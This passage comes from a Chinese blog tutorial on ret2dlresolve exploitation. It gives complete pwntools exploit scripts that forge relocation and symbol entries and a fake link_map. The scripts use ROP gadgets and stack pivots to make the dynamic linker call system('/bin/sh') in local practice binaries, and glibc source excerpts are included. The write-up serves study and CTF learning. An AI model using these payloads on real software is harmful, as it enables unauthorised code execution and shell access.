sla(io,'Input:',payload)


fake_write_reloc_age=fake_stack+5*4-rel_plt_addr
align=0x10-((fake_stack+36-8-dynsym_addr)%16)#这里是为了保证我们wrte函数虚假的符号表项地址是16字节对齐的,这里为后面做一个补齐
fake_write_Elf32_Sym_addr=fake_stack+36-8+align
fake_info=((((fake_write_Elf32_Sym_addr-dynsym_addr)//16)<<8)|0x7)#最后|0x7是为了保证重定位类型不变
fake_write_str_addr=fake_stack+36-8+align+0x10
fake_st_name=fake_write_str_addr-dynstr_addr

fake_write_Elf32_Rel=p32(write_got)+p32(fake_info)
fake_write_Elf32_Sym=p32(fake_st_name)+p32(0)+p32(0)+p32(0x12)
fake_write_str='system\x00'
cmd='/bin/sh\x00'



payload =p32(0)
payload+=p32(plt_0)
payload+=p32(fake_write_reloc_age)
payload+=p32(0)#返回地址
payload+=p32(fake_stack+len(payload)+len(fake_write_Elf32_Rel)+len(fake_write_Elf32_Sym)+len(fake_write_str)+align+4)
payload+=fake_write_Elf32_Rel
payload+=align*'a'
payload+=fake_write_Elf32_Sym
payload+=fake_write_str
payload+=cmd

sleep(0.1)
sl(io,payload)
rv(io)

io.interactive()

64位下伪造reloc_age和伪造Elf32_Rel、Elf32_Sym结构体进行攻击(Partial RELRO且需要泄露地址)

在开始攻击之前我们要先来看看64位下一些结构体的变化

typedef struct
{
Elf64_Addr r_offset;
Elf64_Xword r_info;
Elf64_Sxword r_addend;
} Elf64_Rela;

这里相较于32位每个成员的大小变为了64位,即为8个字节,多了一个r_addend,一共为24个字节。Elf32_Rela 中是用r_addend 显式地指出加数;而对 Elf32_Rel来说,加数是隐含在被修改的位置里的。

typedef struct
{
Elf64_Word st_name;
unsigned char st_info;
unsigned char st_info;
Elf64_Section st_shndx;
Elf64_Addr st_value;
Elf64_Xword st_size;
} Elf64_Sym;

其中st_name为32位,st_info和st_info各8位,st_shndx为16位,st_value和st_size各64位,一共为24个字节。

我们通过上面的分析知道64位有高概率会劫持失败,所以我们需要做一些额外的操作

还是之前的代码

  if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

我们可以看到如果不进入这个判断语句就不会触发,也就是把 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL。我们知道got表的第零项储存的是link_map,这样我们只需要泄露并修改掉 l->l_info[VERSYMIDX(DT_VERSYM)] 即可,而其偏移可以通过调试得到是0x1c8

剩下的和32差别不大,就不一一列举了,一次放在exp中

#coding:utf-8
from pwn import *

context.os='linux'
context.log_level='debug'
context.arch='amd64'

io=process('./level3_partialrelro_64')
elf = ELF('./level3_partialrelro_64')

ru = lambda p, x ,drop=False: p.recvuntil(x,drop)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)

offset=120

write_got=elf.got['write']
read_got=elf.got['read']
link_map_got=0x404008
read_plt=elf.plt['read']
main_addr=elf.sym['main']
vuln_addr=0x401156
plt_0=0x401020

dynstr_addr=elf.get_section_by_name('.dynstr').header.sh_addr
dynsym_addr=elf.get_section_by_name('.dynsym').header.sh_addr
bss_addr=elf.get_section_by_name('.bss').header.sh_addr
rel_plt_addr=elf.get_section_by_name('.rela.plt').header.sh_addr#64位中.rel.plt被称作.rela.plt
fake_stack=bss_addr+0x800

gadget1=0x40121A #pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
gadget2=0x401200 #mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]
pop_rdi_ret=0x0000000000401223
pop_rsi_r15_ret=0x0000000000401221
pop_rbp_ret=0x40113d
ret=0x000000000040101a
leave_ret=0x40118f

payload ='a'*offset
payload+=p64(gadget1)
payload+=p64(0)#rbx 为了后面跳转做偏移
payload+=p64(0x1)#rbp,不可为0
payload+=p64(0x1)#r12 -> rdi
payload+=p64(link_map_got)#r13 -> rsi
payload+=p64(0x8)#r14->rdx
payload+=p64(write_got)#r15
payload+=p64(gadget2)#ret
payload+='A'*0x38#返回后对栈会进行pop
payload+=p64(vuln_addr)

sla(io,"Input:\n",payload)
link_map_addr=u64(rv(io,8))
success('link_map_addr : '+hex(link_map_addr))


payload ='a'*offset
payload+=p64(gadget1)
payload+=p64(0)#rbx 为了后面跳转做偏移
payload+=p64(0x1)#rbp
payload+=p64(0x0)#r12 -> rdi
payload+=p64(fake_stack)#r13 -> rsi
payload+=p64(0x500)#r14->rdx
payload+=p64(read_got)#r15
payload+=p64(gadget2)#ret
payload+='A'*0x38#返回后对栈会进行pop
payload+=p64(pop_rbp_ret)#栈劫持防止环境变量被破坏
payload+=p64(fake_stack)
payload+=p64(leave_ret)

sleep(0.2)
sla(io,'Input:\n',payload)

fake_write_Elf64_Rela_base_addr=fake_stack+0x100#Elf64_Rela需要一块地址存放它
fake_write_Elf64_Sym_base_addr=fake_stack+0x180#Elf64_Sym需要一块地址存放它
fake_write_str_addr=fake_stack+0x200#字符串的地址
binsh_addr=fake_stack+0x208#/bin/sh\x00的地址

rel_plt_align=0x18-(fake_write_Elf64_Rela_base_addr-rel_plt_addr)%0x18#结构体的对齐填充字节,结构体大小为0x18
rel_sym_align=0x18-(fake_write_Elf64_Sym_base_addr-dynsym_addr)%0x18#同上

fake_write_Elf64_Rela_addr=fake_write_Elf64_Rela_base_addr+rel_plt_align#Elf64_Rela地址
fake_write_Elf64_Sym_addr=fake_write_Elf64_Sym_base_addr+rel_sym_align#Elf64_Sym地址

fake_write_reloc_age=(fake_write_Elf64_Rela_addr-rel_plt_addr)/0x18 #伪造的reloc_arg
fake_info=(((fake_write_Elf64_Sym_addr-dynsym_addr)/0x18)<<0x20)|0x7 #伪造r_info,偏移要计算成下标,需要除以Elf64_Sym的大小且要保证最后一字节为0x7
fake_st_name=fake_write_str_addr-dynstr_addr


fake_write_Elf64_Rela =p64(write_got)
fake_write_Elf64_Rela+=p64(fake_info)
fake_write_Elf64_Rela+=p64(0)

fake_write_Elf64_Sym =p32(fake_st_name)
fake_write_Elf64_Sym+=p32(0x12)
fake_write_Elf64_Sym+=p64(0)
fake_write_Elf64_Sym+=p64(0)

#改写l_info[VERSYMIDX(DT_VERSYM)]
payload =p64(0)
payload+=p64(gadget1)
payload+=p64(0)#rbx 为了后面跳转做偏移
payload+=p64(0x1)#rbp
payload+=p64(0x0)#r12 -> rdi
payload+=p64(link_map_addr+0x1c8)#r13 -> rsi
payload+=p64(8)#r14->rdx
payload+=p64(read_got)#r15
payload+=p64(gadget2)#ret
payload+='A'*0x38#返回后对栈会进行pop

#调用system
payload+=p64(pop_rdi_ret)
payload+=p64(binsh_addr)
payload+=p64(plt_0)
payload+=p64(fake_write_reloc_age)
payload =payload.ljust(0x100,'A')

#构造虚假的重定位表项
payload+='A'*rel_plt_align
payload+=fake_write_Elf64_Rela
payload =payload.ljust(0x180,'A')

#构造虚假的符号表项
payload+='A'*rel_sym_align
payload+=fake_write_Elf64_Sym
payload =payload.ljust(0x200,'A')

#构造虚假的字符串
payload+='system\x00\x00'
payload+='/bin/sh\x00'

sleep(0.2)
sn(io,payload)
sleep(0.2)
sn(io,p64(0))

io.interactive()

上面的攻击方式需要泄露地址,但可以泄露地址的话可能上面的攻击就会显得非常繁琐,没有必要,所以我们需要另一种攻击方式来达到我们的目的,我们之前的攻击思路还有一种没有使用,对link_map进行伪造进行攻击

我们再回看之前的函数

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
......
}

else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

这里我们没有太关注这里的else分支,DL_FIXUP_MAKE_VALUE函数是来寻找函数的真实地址,我们只要让**(sym->st_other)&0x03 == 0**不成立,让函数进入下面的else语句,并且让 l->l_addr + sym->st_value指向system函数即可。

我们肯定不知道system的真实地址的,所以我们无法直接达到我们的目的,但是我们可以先将l->l_addr和sym->st_value其中 之一落在got表的某个已解析的函数上,另一个设置为system函数和这个函数 的偏移值。既然我们都伪造了link_map,那么显然l_addr是我们可以控制的,而sym根据我们上面的源码分析, 它的值最终也是从link_map中获得的。只要我们控制了link_map,l->l_addr和sym->st_value就是可控的。当我们知道了libc版本,就可以得到system的地址。

我们可以让sym->st_value落在某个已经解析过的got表上。那么sym的地址就是这个got表项的地址减去8,这时只要保证sym的地址上的函数也是已经解析过的此时sym->st_other一般为0x7f,如此就可以保证(sym->st_other)&0x03 != 0,如果sym不是对应着另一个函数的got表,就需要确保(*(sym+5))&0x03 != 0

剩下的就是保证l->l_addr是我们想要的值,但又没法泄露libc,这样我们就要控制符号表symtab以及reloc->r_info,所以我们得伪造 DT_SYMTAB, DT_JMPREL,我们得伪造strtab为可读地址,所以还得伪造DT_STRTAB,所以我们需要伪造link_map前0xf8个字节的数据,需要关注的分别是位于link_map+0的l_addr,位于link_map+0x68的 DT_STRTAB指针,位于link_map+0x70的DT_SYMTAB指针和位于link_map+0xF8的DT_JMPREL指针。此外,我们需要伪造Elf64_Sym结构体,Elf64_Rela结构体,由于DT_JMPREL指向的是Elf64_Dyn结构体,我们也需要 伪造一个这样的结构体。当然,我们得让reloc_offset为0.为了伪造的方便,我们可以选择让l->l_addr 为已解析函数内存地址和system的偏移,sym->st_value为已解析的函数地址的指针-8,即其got表项-8.

我们再看看link_map的结构体,该结构体定义在*/include/link.h*


/* Structure describing a loaded shared object. The `l_next' and `l_prev'
members form a chain of all the shared objects loaded at startup.

These data structures exist in space used by the run-time dynamic linker;
modifying them may have disastrous results.

This data structure might change in future, if necessary. User-level
programs must avoid defining objects of this type. */

struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */

ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */

/* All following members are internal to the dynamic linker.
They may change without notice. */

/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;

/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;

struct libname_list *l_libname;
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */

ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) *l_phdr; /* Pointer to program header table in core. */
ElfW(Addr) l_entry; /* Entry point location. */
ElfW(Half) l_phnum; /* Number of program header entries. */
ElfW(Half) l_ldnum; /* Number of dynamic segment entries. */

/* Array of DT_NEEDED dependencies and their dependencies, in
dependency order for symbol lookup (with and without
duplicates). There is no entry before the dependencies have
been loaded. */
struct r_scope_elem l_searchlist;

/* We need a special searchlist to process objects marked with
DT_SYMBOLIC. */
struct r_scope_elem l_symbolic_searchlist;

/* Dependent object that first caused this object to be loaded. */
struct link_map *l_loader;

/* Array with version names. */
struct r_found_version *l_versions;
unsigned int l_nversions;

/* Symbol hash table. */
Elf_Symndx l_nbuckets;
Elf32_Word l_gnu_bitmask_idxbits;
Elf32_Word l_gnu_shift;
const ElfW(Addr) *l_gnu_bitmask;
union
{
const Elf32_Word *l_gnu_buckets;
const Elf_Symndx *l_chain;
};
union
{
const Elf32_Word *l_gnu_chain_zero;
const Elf_Symndx *l_buckets;
};

unsigned int l_direct_opencount; /* Reference count for dlopen/dlclose. */
enum /* Where this object came from. */
{
lt_executable, /* The main executable program. */
lt_library, /* Library needed by main executable. */
lt_loaded /* Extra run-time loaded shared object. */
} l_type:2;
unsigned int l_relocated:1; /* Nonzero if object's relocations done. */
unsigned int l_init_called:1; /* Nonzero if DT_INIT function called. */
unsigned int l_global:1; /* Nonzero if object in _dl_global_scope. */
unsigned int l_reserved:2; /* Reserved for internal use. */
unsigned int l_phdr_allocated:1; /* Nonzero if the data structure pointed
to by `l_phdr' is allocated. */
unsigned int l_soname_added:1; /* Nonzero if the SONAME is for sure in
the l_libname list. */
unsigned int l_faked:1; /* Nonzero if this is a faked descriptor
without associated file. */
unsigned int l_need_tls_init:1; /* Nonzero if GL(dl_init_static_tls)
should be called on this link map
when relocation finishes. */
unsigned int l_auditing:1; /* Nonzero if the DSO is used in auditing. */
unsigned int l_audit_any_plt:1; /* Nonzero if at least one audit module
is interested in the PLT interception.*/
unsigned int l_removed:1; /* Nozero if the object cannot be used anymore
since it is removed. */
unsigned int l_contiguous:1; /* Nonzero if inter-segment holes are
mprotected or if no holes are present at
all. */
unsigned int l_symbolic_in_local_scope:1; /* Nonzero if l_local_scope
during LD_TRACE_PRELINKING=1
contains any DT_SYMBOLIC
libraries. */
unsigned int l_free_initfini:1; /* Nonzero if l_initfini can be
freed, ie. not allocated with
the dummy malloc in ld.so. */

/* Collected information about own RPATH directories. */
struct r_search_path_struct l_rpath_dirs;

/* Collected results of relocation while profiling. */
struct reloc_result
{
DL_FIXUP_VALUE_TYPE addr;
struct link_map *bound;
unsigned int boundndx;
uint32_t enterexit;
unsigned int flags;
} *l_reloc_result;

/* Pointer to the version information if available. */
ElfW(Versym) *l_versyms;

/* String specifying the path where this object was found. */
const char *l_origin;

/* Start and finish of memory map for this object. l_map_start
need not be the same as l_addr. */
ElfW(Addr) l_map_start, l_map_end;
/* End of the executable part of the mapping. */
ElfW(Addr) l_text_end;

/* Default array for 'l_scope'. */
struct r_scope_elem *l_scope_mem[4];
/* Size of array allocated for 'l_scope'. */
size_t l_scope_max;
/* This is an array defining the lookup scope for this link map.
There are initially at most three different scope lists. */
struct r_scope_elem **l_scope;

/* A similar array, this time only with the local scope. This is
used occasionally. */
struct r_scope_elem *l_local_scope[2];

/* This information is kept to check for sure whether a shared
object is the same as one already loaded. */
struct r_file_id l_file_id;

/* Collected information about own RUNPATH directories. */
struct r_search_path_struct l_runpath_dirs;

/* List of object in order of the init and fini calls. */
struct link_map **l_initfini;

/* List of the dependencies introduced through symbol binding. */
struct link_map_reldeps
{
unsigned int act;
struct link_map *list[];
} *l_reldeps;
unsigned int l_reldepsmax;

/* Nonzero if the DSO is used. */
unsigned int l_used;

/* Various flag words. */
ElfW(Word) l_feature_1;
ElfW(Word) l_flags_1;
ElfW(Word) l_flags;

/* Temporarily used in `dl_close'. */
int l_idx;

struct link_map_machine l_mach;

struct
{
const ElfW(Sym) *sym;
int type_class;
struct link_map *value;
const ElfW(Sym) *ret;
} l_lookup_cache;

/* Thread-local storage related info. */

/* Start of the initialization image. */
void *l_tls_initimage;
/* Size of the initialization image. */
size_t l_tls_initimage_size;
/* Size of the TLS block. */
size_t l_tls_blocksize;
/* Alignment requirement of the TLS block. */
size_t l_tls_align;
/* Offset of first byte module alignment. */
size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET 0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
# define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
# define FORCED_DYNAMIC_TLS_OFFSET -2
# else
# error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
/* For objects present at startup time: offset in the static TLS block. */
ptrdiff_t l_tls_offset;
/* Index of the module in the dtv array. */
size_t l_tls_modid;

/* Number of thread_local objects constructed by this DSO. This is
atomically accessed and modified and is not always protected by the load
lock. See also: CONCURRENCY NOTES in cxa_thread_atexit_impl.c. */
size_t l_tls_dtor_count;

/* Information used to change permission after the relocations are
done. */
ElfW(Addr) l_relro_addr;
size_t l_relro_size;

unsigned long long int l_serial;

/* Audit information. This array apparent must be the last in the
structure. Never add something after it. */
struct auditstate
{
uintptr_t cookie;
unsigned int bindflags;
} l_audit[0];
};

我们会发现上面的结构体非常的复杂,很难找到我们STRTAB/SYMTAB/JMPREL这3个表存放的位置,但是通过动态调试我们可以得知这三个地址存放分别位于link_map+0x68/0x70/0xf8处,如此一来我们只需要将这三个表伪造出来,然后在相应位置存放它们的地址即可。

我们先确定一下sym->st_value应该落在哪个函数上,我们先查看write函数got表项前一个表项的值

查看got表项

可以确定是可以使用write作为sym->st_value。

确认我们需要用到的一些位置

offset=120

write_got=elf.got['write']
read_got=elf.got['read']
jmp_dl_fixup=0x401026


bss_addr=elf.get_section_by_name('.bss').header.sh_addr
fake_stack=bss_addr+0x800
fake_link_map_addr=fake_stack+0x100

gadget1=0x40121A #pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
gadget2=0x401200 #mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]
pop_rdi_ret=0x0000000000401223
pop_rsi_r15_ret=0x0000000000401221
pop_rbp_ret=0x40113d
ret=0x000000000040101a
leave_ret=0x40118f

我们先将栈迁移到.bss段准备并在栈里读入我们的payload

payload ='a'*offset
payload+=p64(gadget1)
payload+=p64(0)#rbx 为了后面跳转做偏移
payload+=p64(0x1)#rbp,不可为0
payload+=p64(0)#r12 -> rdi
payload+=p64(fake_stack)#r13 -> rsi
payload+=p64(0x500)#r14->rdx
payload+=p64(read_got)#r15
payload+=p64(gadget2)#ret
payload+='a'*0x38#返回后对栈会进行pop

payload += p64(pop_rbp_ret) #返回到pop rbp; retn,劫持栈。
payload += p64(fake_stack)
payload += p64(leave_ret)

sla(io,"Input:\n",payload)

接下来就是重头戏伪造我们的link_map,在伪造link_map之前我们先把需要用到的三个表先伪造好

伪造.dynamic里的重定位表项

fake_relplt_Elf64_Dyn =p64(0)                                   #d_tag  标签,用不到可以随意设置
fake_relplt_Elf64_Dyn+=p64(fake_Elf64_Rela_addr) #d_ptr 指向虚假的Elf64_Rela结构体的指针。因为reloc_offset被简化为0,所以该地址就是我们伪造的地址

伪造重定位表

fake_Elf64_Rela =flat(fake_link_map_addr-system_write_offset)   #r_offset   rel_addr = l->addr+r_offset,这里让其写入一个可写地址即可,这里选择fake_link_map,因为我们的l->addr为system_write_offset那么r_offset=fake_link_map_addr-system_write_offset
fake_Elf64_Rela+=p64(7) #r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela+=p64(0) #r_addend 任意设置即可

伪造符号表

fake_Elf64_Sym =p32(0)                                          #st_name	任意设置
fake_Elf64_Sym+=p32(0xffffffff) #保证st_info, st_other, st_shndx st_other非零r
fake_Elf64_Sym+=p64(write_got-8) #st_value 已经解析的函数got地址减去8
fake_Elf64_Sym+=p64(0) #st_size 随意设置

接下来就该伪造link_map本身了,我们会发现伪造link_map中有好多地方是空的,我们不妨利用起来,将什么三个表项也放入link_map结构中,顺便把后面要用到的’/bin/sh\x00’也写入。

fake_link_map =flat(system_write_offset)                        #l_addr
fake_link_map+=fake_relplt_Elf64_Dyn
fake_link_map+=fake_Elf64_Rela
fake_link_map+=fake_Elf64_Sym
fake_link_map+='\x00'*0x20
fake_link_map+=p64(fake_link_map_addr) #DT_STRTAB 任意可读位置即可
fake_link_map+=p64(fake_Elf64_Sym_addr) #DT_SYMTAB 指向fake_Elf64_Sym
fake_link_map+='/bin/sh\x00' #binsh
fake_link_map+='\x00'*0x78
fake_link_map+=p64(fake_relplt_Elf64_Dyn_addr) #DT_JMPREL 指向fake_relplt_Elf64_Dyn

接下来只需将binsh的地址放入寄存器中再调用jmp_dl_fixup到我们构造好的link_map即可

完整exp

#coding:utf-8
from pwn import *

context.os='linux'
context.log_level='debug'
context.arch='amd64'

io=process('./level3_partialrelro_64')
elf = ELF('./level3_partialrelro_64')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')

ru = lambda p, x ,drop=False: p.recvuntil(x,drop)
sn = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rd = lambda p, x : p.recvuntil(x, drop=True)

offset=120

write_got=elf.got['write']
read_got=elf.got['read']
jmp_dl_fixup=0x401026


bss_addr=elf.get_section_by_name('.bss').header.sh_addr
fake_stack=bss_addr+0x800
fake_link_map_addr=fake_stack+0x100

gadget1=0x40121A #pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
gadget2=0x401200 #mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]
pop_rdi_ret=0x0000000000401223
pop_rsi_r15_ret=0x0000000000401221
pop_rbp_ret=0x40113d
ret=0x000000000040101a
leave_ret=0x40118f



#先调用read将数据写入.bss段
payload ='a'*offset
payload+=p64(gadget1)
payload+=p64(0)#rbx 为了后面跳转做偏移
payload+=p64(0x1)#rbp,不可为0
payload+=p64(0)#r12 -> rdi
payload+=p64(fake_stack)#r13 -> rsi
payload+=p64(0x500)#r14->rdx
payload+=p64(read_got)#r15
payload+=p64(gadget2)#ret
payload+='a'*0x38#返回后对栈会进行pop

payload += p64(pop_rbp_ret) #返回到pop rbp; retn,劫持栈。
payload += p64(fake_stack)
payload += p64(leave_ret)

sla(io,"Input:\n",payload)

system_write_offset=libc.sym['system']-libc.sym['write'] #后面伪造link_map时l_addr的值
success('system_write_offset :'+hex(system_write_offset))
fake_relplt_Elf64_Dyn_addr=fake_link_map_addr+0x8
fake_Elf64_Sym_addr=fake_link_map_addr+0x30
fake_Elf64_Rela_addr=fake_link_map_addr+0x18
binsh_addr=fake_link_map_addr+0x78

fake_relplt_Elf64_Dyn =p64(0) #d_tag 标签,用不到可以随意设置
fake_relplt_Elf64_Dyn+=p64(fake_Elf64_Rela_addr) #d_ptr 指向虚假的Elf64_Rela结构体的指针。因为reloc_offset被简化为0,所以该地址就是我们伪造的地址

fake_Elf64_Rela =flat(fake_link_map_addr-system_write_offset) #r_offset rel_addr = l->addr+r_offset,这里让其写入一个可写地址即可,这里选择fake_link_map,因为我们的l->addr为system_write_offset那么r_offset=fake_link_map_addr-system_write_offset
fake_Elf64_Rela+=p64(7) #r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela+=p64(0) #r_addend 任意设置即可

fake_Elf64_Sym =p32(0) #st_name 任意设置
fake_Elf64_Sym+=p32(0xffffffff) #保证st_info, st_other, st_shndx st_other非零r
fake_Elf64_Sym+=p64(write_got-8) #st_value 已经解析的函数got地址减去8
fake_Elf64_Sym+=p64(0) #st_size 随意设置


fake_link_map =flat(system_write_offset) #l_addr
fake_link_map+=fake_relplt_Elf64_Dyn
fake_link_map+=fake_Elf64_Rela
fake_link_map+=fake_Elf64_Sym
fake_link_map+='\x00'*0x20
fake_link_map+=p64(fake_link_map_addr) #DT_STRTAB 任意可读位置即可
fake_link_map+=p64(fake_Elf64_Sym_addr) #DT_SYMTAB 指向fake_Elf64_Sym
fake_link_map+='/bin/sh\x00' #binsh
fake_link_map+='\x00'*0x78
fake_link_map+=p64(fake_relplt_Elf64_Dyn_addr) #DT_JMPREL 指向fake_relplt_Elf64_Dyn


payload =p64(0)
payload+=p64(pop_rdi_ret)
payload+=p64(binsh_addr)
payload+=p64(jmp_dl_fixup)
payload+=p64(fake_link_map_addr)
payload+=p64(0)
payload =payload.ljust(0x100,'A')
payload+=fake_link_map

sleep(0.1)
sn(io,payload)
io.interactive()

结尾

除去比赛花了两周时间终于把ret2dl总结完了,参考了网络上好多师傅的博客和资料,学到了好多,真心希望这篇博客也能帮助看见它的你。

Author: Kr0emer
Link: http://kr0emer.com/2021/08/13/关于_dl_runtime_resolve分析与ret2dlresolve/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.